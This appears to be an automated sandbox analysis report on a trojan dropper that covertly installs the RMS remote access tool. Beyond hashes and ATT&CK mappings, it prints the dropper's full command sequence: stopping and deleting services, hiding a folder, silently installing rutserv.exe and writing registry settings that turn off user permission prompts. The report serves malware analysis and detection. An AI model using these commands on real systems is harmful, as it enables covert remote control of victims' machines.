rms | fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220

Analysis

max time kernel
169s
max time network
191s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
26-11-2022 17:03

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General

Target

fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe
Size

3.4MB
MD5

474ce1d3f2e93c061262a0a647d90103
SHA1

805c410a9535795889225d7be3c682717ef42c22
SHA256

fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220
SHA512

ff752509dfd449e9c93ae4fb095f3de7f38c10ab67f253d75b8f89715f1234810612baeaaa4b2991772f2cd8b39041852d116a286d5f306816f186a20216a27e
SSDEEP

98304:hwwviscLk1E6jnlvyqHaz5i0bqXWmS2u7PI7:hGscLkqMlvyq6oXUr7

Score

10^/10

rms evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Executes dropped EXE 7 IoCs

pid	Process
1028	rutserv.exe
960	rutserv.exe
5064	rutserv.exe
4632	rutserv.exe
4956	rfusclient.exe
4808	rfusclient.exe
4404	rfusclient.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
1748	attrib.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4500-132-0x0000000000400000-0x000000000078A000-memory.dmp	upx
behavioral2/memory/4500-133-0x0000000000400000-0x000000000078A000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\spom\rfusclient.exe	cmd.exe
File opened for modification	C:\Windows\spom\rfusclient.exe	cmd.exe
File opened for modification	C:\Windows\spom\vp8encoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\15971.bat	cmd.exe
File created	C:\Windows\spom\vp8decoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\vp8decoder.dll	cmd.exe
File created	C:\Windows\spom\vp8encoder.dll	cmd.exe
File created	C:\Windows\spom\webmmux.dll	cmd.exe
File opened for modification	C:\Windows\spom	attrib.exe
File created	C:\Windows\spom\15971.bat	cmd.exe
File created	C:\Windows\spom\rutserv.exe	cmd.exe
File opened for modification	C:\Windows\spom\rutserv.exe	cmd.exe
File opened for modification	C:\Windows\spom\webmmux.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1164	sc.exe
2688	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1028	rutserv.exe
1028	rutserv.exe
1028	rutserv.exe
1028	rutserv.exe
1028	rutserv.exe
1028	rutserv.exe
960	rutserv.exe
960	rutserv.exe
5064	rutserv.exe
5064	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4808	rfusclient.exe
4808	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	rutserv.exe
Token: SeDebugPrivilege	5064	rutserv.exe
Token: SeTakeOwnershipPrivilege	4632	rutserv.exe
Token: SeTcbPrivilege	4632	rutserv.exe
Token: SeTcbPrivilege	4632	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1028	rutserv.exe
960	rutserv.exe
5064	rutserv.exe
4632	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4500 wrote to memory of 5052	4500	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	87
PID 4500 wrote to memory of 5052	4500	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	87
PID 4500 wrote to memory of 5052	4500	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	87
PID 5052 wrote to memory of 1076	5052	cmd.exe	90
PID 5052 wrote to memory of 1076	5052	cmd.exe	90
PID 5052 wrote to memory of 1076	5052	cmd.exe	90
PID 1076 wrote to memory of 1300	1076	net.exe	91
PID 1076 wrote to memory of 1300	1076	net.exe	91
PID 1076 wrote to memory of 1300	1076	net.exe	91
PID 5052 wrote to memory of 4908	5052	cmd.exe	92
PID 5052 wrote to memory of 4908	5052	cmd.exe	92
PID 5052 wrote to memory of 4908	5052	cmd.exe	92
PID 4908 wrote to memory of 3708	4908	net.exe	93
PID 4908 wrote to memory of 3708	4908	net.exe	93
PID 4908 wrote to memory of 3708	4908	net.exe	93
PID 5052 wrote to memory of 1164	5052	cmd.exe	95
PID 5052 wrote to memory of 1164	5052	cmd.exe	95
PID 5052 wrote to memory of 1164	5052	cmd.exe	95
PID 5052 wrote to memory of 2688	5052	cmd.exe	96
PID 5052 wrote to memory of 2688	5052	cmd.exe	96
PID 5052 wrote to memory of 2688	5052	cmd.exe	96
PID 5052 wrote to memory of 4372	5052	cmd.exe	97
PID 5052 wrote to memory of 4372	5052	cmd.exe	97
PID 5052 wrote to memory of 4372	5052	cmd.exe	97
PID 5052 wrote to memory of 1748	5052	cmd.exe	99
PID 5052 wrote to memory of 1748	5052	cmd.exe	99
PID 5052 wrote to memory of 1748	5052	cmd.exe	99
PID 5052 wrote to memory of 1028	5052	cmd.exe	101
PID 5052 wrote to memory of 1028	5052	cmd.exe	101
PID 5052 wrote to memory of 1028	5052	cmd.exe	101
PID 5052 wrote to memory of 960	5052	cmd.exe	102
PID 5052 wrote to memory of 960	5052	cmd.exe	102
PID 5052 wrote to memory of 960	5052	cmd.exe	102
PID 5052 wrote to memory of 3912	5052	cmd.exe	104
PID 5052 wrote to memory of 3912	5052	cmd.exe	104
PID 5052 wrote to memory of 3912	5052	cmd.exe	104
PID 5052 wrote to memory of 456	5052	cmd.exe	105
PID 5052 wrote to memory of 456	5052	cmd.exe	105
PID 5052 wrote to memory of 456	5052	cmd.exe	105
PID 5052 wrote to memory of 3076	5052	cmd.exe	106
PID 5052 wrote to memory of 3076	5052	cmd.exe	106
PID 5052 wrote to memory of 3076	5052	cmd.exe	106
PID 5052 wrote to memory of 4600	5052	cmd.exe	107
PID 5052 wrote to memory of 4600	5052	cmd.exe	107
PID 5052 wrote to memory of 4600	5052	cmd.exe	107
PID 5052 wrote to memory of 2476	5052	cmd.exe	108
PID 5052 wrote to memory of 2476	5052	cmd.exe	108
PID 5052 wrote to memory of 2476	5052	cmd.exe	108
PID 5052 wrote to memory of 5076	5052	cmd.exe	109
PID 5052 wrote to memory of 5076	5052	cmd.exe	109
PID 5052 wrote to memory of 5076	5052	cmd.exe	109
PID 5052 wrote to memory of 3372	5052	cmd.exe	110
PID 5052 wrote to memory of 3372	5052	cmd.exe	110
PID 5052 wrote to memory of 3372	5052	cmd.exe	110
PID 5052 wrote to memory of 5064	5052	cmd.exe	111
PID 5052 wrote to memory of 5064	5052	cmd.exe	111
PID 5052 wrote to memory of 5064	5052	cmd.exe	111
PID 4632 wrote to memory of 4956	4632	rutserv.exe	113
PID 4632 wrote to memory of 4956	4632	rutserv.exe	113
PID 4632 wrote to memory of 4956	4632	rutserv.exe	113
PID 4632 wrote to memory of 4808	4632	rutserv.exe	114
PID 4632 wrote to memory of 4808	4632	rutserv.exe	114
PID 4632 wrote to memory of 4808	4632	rutserv.exe	114
PID 4808 wrote to memory of 4404	4808	rfusclient.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1748	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe
"C:\Users\Admin\AppData\Local\Temp\fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4500
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\15971.bat" "
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\SysWOW64\net.exe
    net stop netaservice
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop netaservice
      4⤵
      PID:1300
- - C:\Windows\SysWOW64\net.exe
    net stop rmanservice
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop rmanservice
      4⤵
      PID:3708
- - C:\Windows\SysWOW64\sc.exe
    sc delete netaservice
    3⤵
    - Launches sc.exe
    PID:1164
- - C:\Windows\SysWOW64\sc.exe
    sc delete rmanservice
    3⤵
    - Launches sc.exe
    PID:2688
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Windows\spom"
    3⤵
    - Sets file to hidden
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:1748
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /silentinstall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1028
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /firewall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:960
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "notification" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e002000760065007200730069006f006e003d0022003500360030003000360022003e003c007500730065003e0074007200750065003c002f007500730065003e003c0065006d00610069006c003e00670061006d0061007a006f0076002e00670061006d0061007a0040006d00610069006c002e00720075003c002f0065006d00610069006c003e003c00690064003e007b00410041004100380039004400440044002d0031004300340036002d0034003000390041002d0041003500420035002d003300380032004300370032003200440041003400340046007d003c002f00690064003e003c00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e0074007200750065003c002f00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e003c00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e00660061006c00730065003c002f00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e003c00730065006e0074003e00660061006c00730065003c002f00730065006e0074003e003c00760065007200730069006f006e003e00350036003000300036003c002f00760065007200730069006f006e003e003c007000750062006c00690063005f006b00650079005f006d003e003c002f007000750062006c00690063005f006b00650079005f006d003e003c007000750062006c00690063005f006b00650079005f0065003e003c002f007000750062006c00690063005f006b00650079005f0065003e003c00700061007300730077006f00720064003e003c002f00700061007300730077006f00720064003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c0064006900730063006c00610069006d00650072003e003c002f0064006900730063006c00610069006d00650072003e003c002f0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e003e000d000a00
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "UserAccess" /t REG_BINARY /d
    3⤵
    PID:456
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
    3⤵
    PID:3076
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003600300030003000340022003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70080c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034323030392e37343435313730303233084c6963656e73657306ae524d532d462d62366665664645334436363231346539363944333744396163653235423032366269593253326459586c52664477776e4932314758554a4544683945586d78785030594756304a5856513066506a6c74446c46564467594841514271664738645556554f446c5246446d42346667494e4841494341514a76594878704141734c4141734d486c516d63323952566b554f41677765557a773562513458576c564c623168654e434a740d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223630303034223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a1144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
    3⤵
    PID:2476
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "C:\Program Files\Remote Manipulator System - Host\rfusclient.exe"
    3⤵
    PID:5076
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600300030003000340022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
    3⤵
    PID:3372
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /start
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5064

C:\Windows\spom\rutserv.exe
C:\Windows\spom\rutserv.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe /tray
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\spom\rfusclient.exe
    C:\Windows\spom\rfusclient.exe /tray
    3⤵
    - Executes dropped EXE
    PID:4404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\15971.bat

Filesize
10KB

MD5
270a2651df6d0e01df0a6b45a451eb1f

SHA1
b437c389f5c7c66c9b24e6912647916407508214

SHA256
afcf65738a3bd347e40b77242b48070ed371ddb9226be1f132eb82d18ce72d96

SHA512
66dcaf288eb9d39958978cf16c0236d3fd6bda5ae4bd7aee7993160668bb8605a32f6547ba7e6d100f9c4f25bedd39ee8ce3be73f364eac5961e2273b0e45418

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\vp8decoder.dll

Filesize
127KB

MD5
bda3c03c3e5d65922a311009e0ae8cd6

SHA1
37093c457ac5f01649b4d23a3d075a531af08baa

SHA256
30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290

SHA512
eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\vp8encoder.dll

Filesize
238KB

MD5
200cba4b9cbdd64f1a281b89cd1467f3

SHA1
fc3ccf8d57efcdc0d22b61ff6e49798d551a9118

SHA256
c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e

SHA512
15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\webmmux.dll

Filesize
90KB

MD5
aa78ed008f72533c7136bf6d4bddb0d0

SHA1
2e9abd74e615adc99f561cbdbe6067dfd81a406a

SHA256
41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11

SHA512
e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\webmvorbisdecoder.dll

Filesize
141KB

MD5
0867a260483876336a727cf9f2928b13

SHA1
3c8c59bfba6ed2aeef35c0d1fc4689683df1e660

SHA256
cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207

SHA512
b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B0A.tmp\webmvorbisencoder.dll

Filesize
202KB

MD5
43adc4acd56c56b0a25664954c7aa80c

SHA1
d9085625b4a39b3969db8047ad3224b3fc9f60fc

SHA256
0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918

SHA512
346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\vp8decoder.dll

Filesize
127KB

MD5
bda3c03c3e5d65922a311009e0ae8cd6

SHA1
37093c457ac5f01649b4d23a3d075a531af08baa

SHA256
30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290

SHA512
